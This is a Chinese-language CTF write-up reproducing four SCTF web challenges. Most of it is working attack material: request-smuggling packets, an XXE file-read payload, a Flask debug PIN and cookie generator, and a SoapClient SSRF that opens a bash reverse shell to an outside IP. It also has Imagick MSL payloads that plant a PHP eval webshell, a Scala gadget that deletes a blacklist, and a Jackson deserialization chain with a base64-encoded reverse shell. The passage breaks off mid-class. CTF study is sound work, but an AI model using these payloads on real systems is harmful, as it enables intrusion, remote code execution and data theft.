SCTF-Web复现
y1zh3e7 Lv2

SCTF-Web复现

ezcheck1n

题目代码逻辑如下,主要逻辑是从参数中获取url参数,然后把flag变量拼接到url后面,之后发过去,其实就是个外带回显

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$FLAG = "flag{fake_flag}";
@file_get_contents("http://".$_GET['url'].$FLAG);
# but it's not the real flag
# beacuse someone say this year is not 2023 !!! like the post?
show_source('./2023.php');
$a = file_get_contents('./post.jpeg');
echo '<img src="data:image/jpeg;base64,' . base64_encode($a) . '">';
# notice -> time
# How should you get to where the flag is, the middleware will not forward requests that are not 2023
?>

尝试一下:

image

1
2
3
4
5
6
root@VM-24-4-ubuntu:~# nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection received on 115.239.215.75 54096
GET /flag{fake_flag} HTTP/1.0
Host: 43.143.246.73:7777
Connection: close

这里有两个地方很奇怪,一个是传参的时候,用?url=xxxx:xxxx/这种形式传递是不行的,还有就是我并没有在2023.php下进行参数传递也可以通,其实这两个问题都是一个原因,就是apache的Rewrite规则,相信如果了解过apache-Rewrite的师傅肯定不陌生,它采用的是正则匹配的方式,随便一猜也可以猜的出来匹配的是/2023/(正则内容),然后将正则内容作为参数转交给其他逻辑(2023.php)处理。所以此时我们可以理解成在url前面已经有一个默认的参数了,就不能用?进行传参,而是用&拼接第二个参数,所以其实这样传也是可以的(这里我可能理解的不够深,如果有师傅有其他理解也吗麻烦指正一下):
image

然后f12在相应header中可以看到apache的版本是2.5.4,这个版本的apche存在走私漏洞,说白了就是可以在一次请求中发送多个数据包请求,参考文章如下:https://forum.butian.net/share/2180:
image

然后就到了这道题最抽象的地方,就是对出题人的脑洞,这些提示其实就是告诉我们中间件能解析的请求是2023的,但是真正的flag却不在2023中,谜语翻译过来就是要用走私构造一个2023的数据包来绕过中间件,然后再构造一个访问2022.php的数据包拿到flag:

1
2
3
4
5
# but it's not the real flag
# beacuse someone say this year is not 2023 !!! like the post?
show_source('./2023.php');
# notice -> time
# How should you get to where the flag is, the middleware will not forward requests that are not 2023

然后这里赛后又复现了一遍,貌似是环境寄了,拿当时比赛时打通的payload和各种其他师傅的payload全是超时,数据包大概就这么构造:

burp随便抓个包存到pre.txt中,然后写个脚本把里面空格替换成%20,换行替换成%0d%0a:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os

httptext = ""
f = open('pre.txt', 'r')
#### 读取文件内容,将每一行中的空格替换为%20 ####
for line in f.readlines():
line = line.replace(' ', '%20')
# print(line)
#### 将每一行的\n替换为%0d%0a ####
#### 并存储到httptext中 ####
httptext = httptext + line.replace('\n', '%0d%0a')
f.close()
httptext = httptext + ""
print(httptext)

之后再构造出第二个数据包就行了,然后第二个数据包访问的路由和参数是2022.php?url=vpsip:port/,然后两个数据包之间用%0d%0a%0d%0a进行拼接就可以了,最后构造好的包文是这样的(比赛时打通的):

1
2
3
4
5
6
7
8
9
10
11
GET /2023/%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/2022.php%3furl%3d43.143.246.73%3a7777 HTTP/1.1
Host: 115.239.215.75:8082
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://115.239.215.75:8082/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image

pypyp?

先来点小脑洞,进入环境之后说没有Session,这里是php的Session,可能很多人会误解成Python的Session,然后可以利用PHP_SESSION_UPLOAD_PROGRESS在客户端强行创建一个Session,并且session.upload_progress.name这个属性(Session全局数组中的key)是可控的,我们可以通过POST一个恶意的PHP_SESSION_UPLOAD_PROGRESS字段,并且这个字段的Value就是这个session.upload_progress.name

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。

从上面官方给出的定义中可以知道PHP_SESSION_UPLOAD_PROGRESS是一个用来统计文件上传进度的Session,所以我们可以写一个表单,POST一个PHP_SESSION_UPLOAD_PROGRESS字段,并加入一个文件上传,就可以获取到伪造的表单提交包文了:

1
2
3
4
5
6
7
8
9
10
11
<!doctype html>
<html>
<body>
<form action="http://xxxxx/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

上传文件并抓包可以拿到这样的包文:

image

改造题目环境的包文,绕过第一关:

image

拿到题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";

?>

先看第一部分,有个变量覆盖 extract(unserialize($_POST['data']));,也就是说我们可以通过传入一个数组来覆盖上面$type和$properties的值,再往下看发现有一个判断:

1
2
3
if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
}

如果$properties是一个数组,就new一个$type对象,并且传入参数为$properties[0],$properties[1],那么我们可以让$type为SimpleXMLElement这个原生类,这个原生类可以解析一个XML文档,并且初始化时参数如下,需要注意的是第三个参数data_is_url,默认为false,也就是第一个参数data需要传入一个xml:
image

这样的话我们就可以构造出一个payload,从而实现XXE,这样我们就实现了任意文件读取:

1
2
3
4
5
<?php
$pro = array('<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>&xxe;</root>',2);
$arr = array("properties"=>$pro,"type"=>SimpleXMLElement);
// print_r($arr);
print_r(serialize($arr));

image

再看else的部分,如果$properties不是数组,就会访问远程的一个服务,题目提示了/app/app.py,我们这里xxe看一下代码:

1
2
3
4
5
if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}

发现Flask服务开启了debug,算pin码就可以了:

image

放个算pin码的脚本,还能顺带算出cookie,方便后面直接用:

项目地址:https://github.com/WiIs0n/Flask-cookie-generation-based-on-PIN-code/blob/main/get_flask_pin_and_cookie.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/python3

# Tested on Python3.8
# This script generates a Cookie based on a legitimate PIN code.

# If you are using a Python version lower than 3.8 and you were unable to generate a Cookie or PIN, use the script at the link below.
# It is based on the following script, which generates only the PIN code:
# https://gist.githubusercontent.com/InfoSecJack/70033ecb7dde4195661a1f6ed7990d42/raw/028384ef695e376d412f9276ad27b2c916d4f748/get_flask_pin.py

# In different versions of python, the hashing algorithm may differ, in this case, sha1 is used.
# There may also be other differences.

import argparse
import os
import getpass
import sys
import hashlib
import time
import uuid
from itertools import chain

text_type = str


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


def get_pin(args):
rv = None
num = None
username = args.username
modname = args.modname
appname = args.appname
fname = args.basefile
probably_public_bits = [username, modname, appname, fname]
private_bits = [args.uuid, args.machineid]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

hash_pin(rv)
print("Cookie: ", cookie_name + "=" + str(int(time.time())) + '|' + hash_pin(rv))
return rv


if __name__ == "__main__":
versions = ["2.7", "3.0", "3.1", "3.2", "3.3", "3.4", "3.5", "3.6", "3.7", "3.8"]
parser = argparse.ArgumentParser(description="tool to get the flask debug pin from system information")
parser.add_argument("--username", required=False, default="www-data",
help="The username of the user running the web server")
parser.add_argument("--modname", required=False, default="flask.app",
help="The module name (app.__module__ or app.__class__.__module__)")
parser.add_argument("--appname", required=False, default="Flask",
help="The app name (app.__name__ or app.__class__.__name__)")
parser.add_argument("--basefile", required=False,
help="The filename to the base app.py file (getattr(sys.modules.get(modname), '__file__', None))")
parser.add_argument("--uuid", required=True,
help="System network interface UUID (/sys/class/net/ens33/address or /sys/class/net/$interface/address)")
parser.add_argument("--machineid", required=True,
help="System machine ID (非docker环境:/etc/machine-id docker环境: /proc/sys/kernel/random/boot_id+/proc/self/cgroup)")

args = parser.parse_args()
if args.basefile is None:
print("[!] App.py base path not provided, trying for most versions of python\n")
for v in versions:
args.basefile = f"/usr/local/lib/python{v}/dist-packages/flask/app.py"
print(f"PIN Python {v}: {get_pin(args)}\n")
else:
print("PIN: ", get_pin(args))

其中需要获取的参数的方法如下:

  • username:通过查看/etc/passwd可以看到全部的用户,有一个叫做app的,是这个用户

  • modename:默认值为flask.app,不需要改

  • appname:默认值为Flask,不需要改

  • basefile:app.py的存放位置,这里可以猜,大部分默认都是/usr/lib/python3.x/site-packages/flask/app.py,这里python版本是3.8(猜的),也可以通过FileSystemIterator这个原生类来看一下具体的版本:

    image

  • uuid:一般读取这个文件:/sys/class/net/eth0/address的十进制

  • machineid:题目是docker环境,所以是/proc/sys/kernel/random/boot_id后拼接/proc/sys/kernel/random/boot_id+/proc/self/cgroup的docker部分

算出pin码和cookie为:

image

然后就可以进入console中执行命令了,我们可以本地起一个Flask进入到调试模式中执行命令看看传参是什么样的:

image

抓一下输入pin码时的包:

image

再抓一个console中执行命令时的包(这里就会发现执行命令时是需要Cookie的,这时候之前算好的Cookie就派上用场了),然后这里发现参数是需要传入一个s的,也就是Flask服务的SecretKey,我们去访问题目环境的console路由就可以看到:
image

image

然后就可以构造RCE的数据包了,我们现在有RCE所需的参数,然后考虑是否可以通过这里传参从而RCE,答案是不行的,因为Cookie没办法传过去:

1
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);

所以我们又要通过一个原生类来构造SSRF,从而访问5000端口的这个Flask服务了,用到的是SoapClient这个原生类,可以理解成直接对target发起一次请求:

1
2
3
4
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

看到这段代码:

1
2
3
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();

可以看到$object调用了sctf()这个方法,其实就是调用_call然后打SSRF

构造出如下payload:

1
2
3
4
5
<?php
$sop = new SoapClient(null,array('user_agent'=>"test\r\nCookie: __wzdb2a60e2b19822632a67c=1687701860|11b8517fb9fb",'location'=>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20/dev/tcp/43.143.246.73/7777%200%3E%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9','uri'=>'test'));
$arr = array("properties"=>urlencode(serialize($sop)));
$b = serialize($arr);
echo $b;

拿到shell后直接suid提权就可以读取flag

image

image

fumo_backdoor

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;

public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}

public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv);
}
}
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
case 'unserialze':
unserialize($data);
break;

case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;

default:
highlight_file(__FILE__);
break;
}

整体思路

这道题利用的是PHPimagick拓展的特性,该拓展可以实现对各种格式图片的各种操作,并且imagic类在实例化时可以执行Magick Scripting Language,其形式就是一段xml,如下一段MSL(Magick Scripting Language)可以将attack.php中的内容读取(即支持远程也支持本地),并写入到victime.txt中(write时文件不存在会自动创建):

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://xxxx.xxxx:8080/attack.php" />
<write filename="/tmp/victim.txt" />
</image>

然后这道题用open_basedir限制了访问路径必须是/tmp,那么我们就可以用上面这个办法来把/flag移动到/tmp下进行读取。

利用点在_sleep中,也就是说我们要人为的触发fumo_backdoor的对象的__sleep函数,并且这个对象的path属性是我们在移动后的flag的路径(/tmp/xxxx),__sleep函数是在对象序列化时触发的,那么我们应该如何人为的实例化一个fumo_backdoor对象?

1
2
3
4
5
6
7
8
public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}

这里利用的就是php的session了,php的session默认存放位置在/tmp下,默认名字为sess_xxxxxx,并且session里面的内容是以序列化的形式存在的,当客户端发来携带着PHPSESSID的请求时,对应sessionID的session就会反序列化后装载到$__SESSION数组中,当php程序运行结束后又会将Session序列化回去储存起来,所以整到题大体思路如下:

  • 通过MSL将/flag写入到/tmp/下的任意一文件中
  • 通过MSL将一段序列化数据写入到/tmp/sess_xxxxx中,这段序列化的数据中是一个fumo_backdoor对象,并且path为/tmp/flag名字
  • 访问时携带Cookie: PHPSESSID=xxxxx来调用这个session进行序列化,从而执行里面fumo_backdoor对象的__sleep方法,读取flag

复现流程

环境给了可以执行无参函数的点,看一下phpinfo,发现开启了imagic拓展:
image

还是用pypyp那道题的上传表单抓个包,然后构造出如下数据包发送上传数据,在php中上传的数据会以phpXXXXXX(X是A-Z、a-z、1-9中的字符拼起来的随机字符串)存到/tmp下,所以这时我们传入的这一段msl就会以phpXXXXXX的文件名储存起来,我们要执行这其中的代码就可以用new Imagic(‘vid:msl:/tmp/php*’)这种方法,msl://用来执行一段msl代码,vid://中可以使用通配符来表示路径,这样根目录下的flag就被我们移动到/tmp下了,名字为sess:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /?data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D&cmd=unserialze HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBnq6Y9OQrGIyzsLe
Content-Length: 362

------WebKitFormBoundaryBnq6Y9OQrGIyzsLe

------WebKitFormBoundaryBnq6Y9OQrGIyzsLe
Content-Disposition: form-data; name="test"; filename="test.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag" />
<write filename="/tmp/sess" />
</image>
------WebKitFormBoundaryBnq6Y9OQrGIyzsLe--

image

我们构造另一个数据包,上传的文件是一张ppm格式的图片,我们需要在里面添加序列化后的数据,至于为什么要选用ppm格式原因如下:

写入文件时须注意以下几点:

  1. 因为imagick对文件格式解析较严,需要写入的文件必须是其支持的图片格式,如jpg、gif、ico等。如果直接插入session数据,会导致解析图片错误,导致文件无法写入。
  2. phpsession的格式解析也较为严格。数据尾不可以存在脏数据,否则session解析错误会无法触发__sleep

所以我们需要找到一个容许在末尾添加脏数据,且脏数据不会被imagick抹去的图片格式。imagick共支持几十种图片格式,

题目提示可以使用ppm格式,其不像其他图片格式存在crc校验或者在文件末尾存在magic头。结构十分简单,可以进行利用。

发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /?data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D&cmd=unserialze HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBnq6Y9OQrGIyzsLe
Content-Length: 743

------WebKitFormBoundaryBnq6Y9OQrGIyzsLe

------WebKitFormBoundaryBnq6Y9OQrGIyzsLe
Content-Disposition: form-data; name="test"; filename="test.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo5OiIvdG1wL3Nlc3MiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/tmp/sess_y1" />
</image>
------WebKitFormBoundaryBnq6Y9OQrGIyzsLe--

传完这个包后sess_y1就生成好了:

image

再用session_start函数然后带着PHPSESSID访问即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /?data=O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}&cmd=unserialze HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Cookie: PHPSESSID=y1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image

hellojava

代码反编译后核心路由如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.Sctf.bean.Hello;
import com.Sctf.bean.MyBean;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import java.io.ByteArrayInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import scala.collection.immutable.LazyList;

@RestController
public class SCtfController {
public SCtfController() {
}

@RequestMapping({"/"})
public String index() {
return "Welcome~";
}

@RequestMapping({"/Hello/{BaseJson}"})
public String Hello(@PathVariable String BaseJson, @RequestBody String param) {
ObjectMapper mapper = new ObjectMapper();

try {
MyBean user = (MyBean)mapper.readValue(Base64.decode(BaseJson), MyBean.class);
if (user.getIfInput()) {
InputStream inputStream = new ByteArrayInputStream(java.util.Base64.getDecoder().decode(param));
NoObjectInputStream NoInputStream = new NoObjectInputStream(inputStream);
Object obj = NoInputStream.readObject();
String HelloList = (new Hello()).DoSomething((LazyList)obj);
return HelloList;
}
} catch (Exception var9) {
var9.printStackTrace();
}

return "HelloList";
}

首先是这个地方,会有一次Jackson数据的反序列化,然后会从这个反序列化的对象中取出IFInput的值,必须要为true通过这个判断才能进入代码块触发反序列化,而这里可以发现在MyBean这个类中,IfInput这个属性是打了@JacksonInject注解,也就是说这个属性是不能被我们传入的json数据所赋值的,考虑这里怎么绕过给IfInput传入为true

1
2
3
4
5
@JsonCreator
public MyBean(@JsonProperty("Base64Code") String Base64Code, @JacksonInject Boolean IfInput) {
this.Base64Code = Base64Code;
this.IfInput = IfInput;
}

当前版本下会存在一个Jackson对Json对象的解析漏洞,当传入一个空键名时,其键值会被赋值给被@JacksonInject注解标注的属性,所以我们可以构造如下json数据进行绕过(后面的Base64Code的值任意):

1
{"":true,"Base64Code":"AAAAAAAA"}

然后就是构造反序列化,这里要打的是Jackson的反序列化,(用的是POJONode这条),然后在打进去之前可以发现在 NoObjectInputStream中会对传入的序列化数据进行黑名单检查,然后这个检查的黑名单是从backlist.txt中读出来的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class NoObjectInputStream extends ObjectInputStream {
private List<String> list = Blacklist.readBlackList("security/blacklist.txt");

public NoObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
System.out.println(this.list);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.list.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
} else {
return super.resolveClass(desc);
}
}

再看依赖,发现存在scala这个依赖,这个依赖在这个版本下存在反序列化漏洞,可以清楚文件内容

image

ggc:https://github.com/yarocher/lazylist-cve-poc/tree/main

这个poc的maven编译环境是jdk1.11,所以需要将bash的环境变量调整到jdk1.11的版本才能运行,运行命令如下:

1
2
3
mvn clean package

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="security/balcklist.txt false"

得到如下ggc:

1
rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAWc2VjdXJpdHkvYmFsY2tsaXN0LnR4dHcCAC94c3EAfgACdnIAMHNjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0JFN0YXRlJEVtcHR5JAAAAAAAAAADAgAAeHB4eA==

将这段数据打入即可删除黑名单:

image

再进行jackson反序列化即可,ggc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class EXP {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "y1zh3e7");
byte[] code= Files.readAllBytes(Paths.get("/Users/y1zh3e7/CodeWorkSpace/JavaWeb/sctf/Payload/src/main/java/Cal.class"));
byte[][] codes={code};
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",codes);
POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(11);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
//deserial(serial(exp));
System.out.println(serial(exp));
}

public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Cal extends AbstractTranslet{
{
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4yNDYuNzMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}

}

@Override
